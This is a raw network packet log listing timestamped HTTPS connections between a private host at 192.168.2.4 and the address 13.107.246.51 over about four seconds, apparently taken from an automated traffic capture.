Oct 26, 2024 13:45:27.923260927 CEST	443	49835	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.923360109 CEST	443	49835	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.923418999 CEST	49835	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.923660040 CEST	49835	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.923676014 CEST	443	49835	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.923692942 CEST	49835	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.923698902 CEST	443	49835	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.927028894 CEST	49840	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.927057981 CEST	443	49840	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.927136898 CEST	49840	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.927326918 CEST	49840	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.927337885 CEST	443	49840	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.961581945 CEST	443	49836	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.961673975 CEST	443	49836	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.961756945 CEST	49836	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.962039948 CEST	49836	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.962050915 CEST	443	49836	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.962066889 CEST	49836	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.962074041 CEST	443	49836	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.965406895 CEST	49841	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.965461969 CEST	443	49841	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:27.965540886 CEST	49841	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.965708971 CEST	49841	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:27.965719938 CEST	443	49841	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.008502007 CEST	443	49837	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.008681059 CEST	443	49837	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.008737087 CEST	49837	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.008852959 CEST	49837	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.008867025 CEST	443	49837	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.008877039 CEST	49837	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.008881092 CEST	443	49837	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.012295961 CEST	49842	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.012346983 CEST	443	49842	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.012434959 CEST	49842	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.012636900 CEST	49842	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.012655973 CEST	443	49842	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.170608997 CEST	443	49838	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.171452045 CEST	49838	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.171484947 CEST	443	49838	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.171983957 CEST	49838	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.171988964 CEST	443	49838	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.300553083 CEST	443	49838	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.300647020 CEST	443	49838	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.300731897 CEST	49838	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.301024914 CEST	49838	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.301044941 CEST	443	49838	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.301057100 CEST	49838	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.301063061 CEST	443	49838	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.305074930 CEST	49843	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.305125952 CEST	443	49843	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.305202961 CEST	49843	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.305366039 CEST	49843	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.305372953 CEST	443	49843	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.450700998 CEST	443	49839	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.451518059 CEST	49839	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.451551914 CEST	443	49839	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.452042103 CEST	49839	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.452048063 CEST	443	49839	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.579323053 CEST	443	49839	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.579396009 CEST	443	49839	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.579447031 CEST	49839	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.579806089 CEST	49839	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.579827070 CEST	443	49839	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.579838037 CEST	49839	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.579843998 CEST	443	49839	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.583317995 CEST	49844	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.583340883 CEST	443	49844	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.583412886 CEST	49844	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.583800077 CEST	49844	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.583810091 CEST	443	49844	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.658303022 CEST	443	49840	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.659019947 CEST	49840	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.659044981 CEST	443	49840	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.659553051 CEST	49840	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.659558058 CEST	443	49840	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.705790997 CEST	443	49841	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.706419945 CEST	49841	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.706443071 CEST	443	49841	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.707052946 CEST	49841	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.707058907 CEST	443	49841	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.766932964 CEST	443	49842	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.767702103 CEST	49842	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.767714977 CEST	443	49842	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.768208981 CEST	49842	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.768214941 CEST	443	49842	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.789479971 CEST	443	49840	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.789571047 CEST	443	49840	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.789649963 CEST	49840	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.789861917 CEST	49840	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.789871931 CEST	443	49840	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.789882898 CEST	49840	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.789887905 CEST	443	49840	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.793631077 CEST	49845	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.793657064 CEST	443	49845	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.793735981 CEST	49845	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.793915033 CEST	49845	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.793926954 CEST	443	49845	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.836709976 CEST	443	49841	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.836787939 CEST	443	49841	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.836857080 CEST	49841	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.836872101 CEST	443	49841	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.836898088 CEST	443	49841	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.836950064 CEST	49841	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.837227106 CEST	49841	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.837236881 CEST	443	49841	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.837248087 CEST	49841	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.837253094 CEST	443	49841	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.841111898 CEST	49846	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.841140985 CEST	443	49846	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.841250896 CEST	49846	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.841428995 CEST	49846	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.841453075 CEST	443	49846	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.899283886 CEST	443	49842	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.899569035 CEST	443	49842	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.899637938 CEST	49842	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.899722099 CEST	49842	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.899734020 CEST	443	49842	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.899744034 CEST	49842	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.899750948 CEST	443	49842	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.903191090 CEST	49847	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.903240919 CEST	443	49847	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:28.903331041 CEST	49847	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.903503895 CEST	49847	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:28.903522968 CEST	443	49847	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.037904024 CEST	443	49843	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.038749933 CEST	49843	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.038842916 CEST	443	49843	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.039263010 CEST	49843	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.039273024 CEST	443	49843	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.165074110 CEST	443	49843	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.165148973 CEST	443	49843	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.165229082 CEST	49843	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.165262938 CEST	443	49843	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.165330887 CEST	49843	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.165549994 CEST	49843	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.165575027 CEST	443	49843	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.165604115 CEST	49843	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.165611982 CEST	443	49843	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.169425964 CEST	49848	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.169454098 CEST	443	49848	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.169528961 CEST	49848	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.169692039 CEST	49848	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.169704914 CEST	443	49848	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.310800076 CEST	443	49844	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.311501026 CEST	49844	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.311522961 CEST	443	49844	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.312017918 CEST	49844	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.312022924 CEST	443	49844	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.443510056 CEST	443	49844	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.443662882 CEST	443	49844	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.443785906 CEST	49844	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.447282076 CEST	49844	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.447300911 CEST	443	49844	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.450963020 CEST	49849	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.451004028 CEST	443	49849	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.451085091 CEST	49849	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.451255083 CEST	49849	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.451267004 CEST	443	49849	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.546755075 CEST	443	49845	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.547522068 CEST	49845	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.547543049 CEST	443	49845	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.547961950 CEST	49845	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.547971010 CEST	443	49845	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.569103956 CEST	443	49846	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.570082903 CEST	49846	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.570136070 CEST	443	49846	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.570413113 CEST	49846	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.570430040 CEST	443	49846	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.660383940 CEST	443	49847	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.661133051 CEST	49847	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.661154985 CEST	443	49847	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.661549091 CEST	49847	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.661555052 CEST	443	49847	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.679222107 CEST	443	49845	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.679321051 CEST	443	49845	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.679481983 CEST	49845	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.679575920 CEST	49845	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.679594040 CEST	443	49845	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.679605961 CEST	49845	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.679611921 CEST	443	49845	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.683417082 CEST	49850	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.683449030 CEST	443	49850	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.683599949 CEST	49850	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.683793068 CEST	49850	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.683806896 CEST	443	49850	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.698282957 CEST	443	49846	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.698443890 CEST	443	49846	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.698519945 CEST	49846	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.698601007 CEST	49846	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.698601007 CEST	49846	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.698645115 CEST	443	49846	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.698673010 CEST	443	49846	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.701287985 CEST	49851	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.701322079 CEST	443	49851	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.701379061 CEST	49851	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.701566935 CEST	49851	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.701575994 CEST	443	49851	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.793225050 CEST	443	49847	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.793261051 CEST	443	49847	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.793308973 CEST	49847	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.793315887 CEST	443	49847	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.793370962 CEST	49847	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.794405937 CEST	49847	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.794430971 CEST	443	49847	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.794446945 CEST	49847	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.794454098 CEST	443	49847	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.798300028 CEST	49852	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.798327923 CEST	443	49852	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.798542976 CEST	49852	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.798693895 CEST	49852	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.798708916 CEST	443	49852	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.926240921 CEST	443	49848	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.926948071 CEST	49848	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.926970005 CEST	443	49848	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:29.927485943 CEST	49848	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:29.927500963 CEST	443	49848	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.059248924 CEST	443	49848	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.059355974 CEST	443	49848	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.059474945 CEST	49848	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.059685946 CEST	49848	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.059685946 CEST	49848	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.059705019 CEST	443	49848	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.059714079 CEST	443	49848	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.063357115 CEST	49853	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.063400984 CEST	443	49853	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.063585043 CEST	49853	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.063735008 CEST	49853	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.063746929 CEST	443	49853	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.172013044 CEST	443	49849	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.172640085 CEST	49849	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.172662973 CEST	443	49849	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.173163891 CEST	49849	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.173170090 CEST	443	49849	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.300616026 CEST	443	49849	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.300715923 CEST	443	49849	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.300806046 CEST	49849	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.301064968 CEST	49849	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.301086903 CEST	443	49849	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.301100016 CEST	49849	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.301105976 CEST	443	49849	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.304686069 CEST	49854	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.304732084 CEST	443	49854	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.304838896 CEST	49854	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.305011988 CEST	49854	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.305028915 CEST	443	49854	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.427222013 CEST	443	49850	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.427891016 CEST	49850	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.427911043 CEST	443	49850	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.428519964 CEST	49850	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.428525925 CEST	443	49850	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.435039043 CEST	443	49851	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.435506105 CEST	49851	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.435527086 CEST	443	49851	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.436007977 CEST	49851	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.436013937 CEST	443	49851	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.525705099 CEST	443	49852	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.526380062 CEST	49852	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.526422977 CEST	443	49852	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.527123928 CEST	49852	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.527137995 CEST	443	49852	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.558557034 CEST	443	49850	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.558731079 CEST	443	49850	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.558799982 CEST	49850	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.559000969 CEST	49850	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.559022903 CEST	443	49850	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.559036016 CEST	49850	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.559041977 CEST	443	49850	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.562638998 CEST	49855	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.562690973 CEST	443	49855	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.562767982 CEST	49855	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.562971115 CEST	49855	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.562988043 CEST	443	49855	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.567684889 CEST	443	49851	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.567708969 CEST	443	49851	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.567749977 CEST	443	49851	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.567769051 CEST	49851	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.567801952 CEST	49851	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.567975044 CEST	49851	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.567994118 CEST	443	49851	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.568003893 CEST	49851	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.568011045 CEST	443	49851	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.572894096 CEST	49856	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.572916985 CEST	443	49856	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.573021889 CEST	49856	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.573205948 CEST	49856	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.573225975 CEST	443	49856	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.654529095 CEST	443	49852	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.654607058 CEST	443	49852	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.654678106 CEST	49852	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.655103922 CEST	49852	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.655127048 CEST	443	49852	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.655139923 CEST	49852	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.655145884 CEST	443	49852	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.659001112 CEST	49857	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.659023046 CEST	443	49857	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.659095049 CEST	49857	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.659255028 CEST	49857	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.659270048 CEST	443	49857	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.804433107 CEST	443	49853	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.806633949 CEST	49853	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.806651115 CEST	443	49853	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.807600975 CEST	49853	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.807606936 CEST	443	49853	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.939213037 CEST	443	49853	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.939301014 CEST	443	49853	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.939435959 CEST	49853	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.939443111 CEST	443	49853	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.939506054 CEST	49853	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.939809084 CEST	49853	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.939826012 CEST	443	49853	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.939834118 CEST	49853	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.939838886 CEST	443	49853	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.943857908 CEST	49858	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.943896055 CEST	443	49858	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:30.944022894 CEST	49858	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.944348097 CEST	49858	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:30.944365025 CEST	443	49858	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.046835899 CEST	443	49854	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.047396898 CEST	49854	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.047420979 CEST	443	49854	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.048053026 CEST	49854	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.048058033 CEST	443	49854	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.178086042 CEST	443	49854	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.178400040 CEST	443	49854	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.178482056 CEST	49854	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.200402021 CEST	49854	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.200419903 CEST	443	49854	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.200459003 CEST	49854	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.200464964 CEST	443	49854	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.203811884 CEST	49859	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.203836918 CEST	443	49859	13.107.246.51	192.168.2.4
Oct 26, 2024 13:45:31.203921080 CEST	49859	443	192.168.2.4	13.107.246.51
Oct 26, 2024 13:45:31.204123020 CEST	49859	443	192.168.2.4	13.107.246.51
